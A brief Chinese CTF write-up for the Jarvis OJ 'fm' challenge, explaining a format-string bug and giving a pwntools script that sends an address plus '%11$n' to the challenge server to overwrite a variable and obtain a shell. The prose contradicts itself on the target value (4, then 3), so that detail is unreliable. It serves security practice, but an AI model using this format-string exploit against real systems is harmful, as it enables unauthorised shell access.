Jarvis OJ---fm

简单的一个格式化字符串的漏洞

Jarvis OJ---fm_第1张图片
image.png

从程序之中我们可以看到,只要我们的x=4,那么就会调用system函数,从而getshell,但是我们进去发现x==3

Jarvis OJ---fm_第2张图片
image.png
Jarvis OJ---fm_第3张图片
image.png

这里 0x0000000a 便是我们输入的字符串,相对于栈上的偏移位置是 11,所以我们只要将x的值覆盖为3,那么我们的目的就达到了。

from pwn import *

p = remote("pwn2.jarvisoj.com",9895)

payload = p32(0x0804A02C) + '%11$n'
p.sendline(payload)
p.interactive()

你可能感兴趣的:(Jarvis OJ---fm)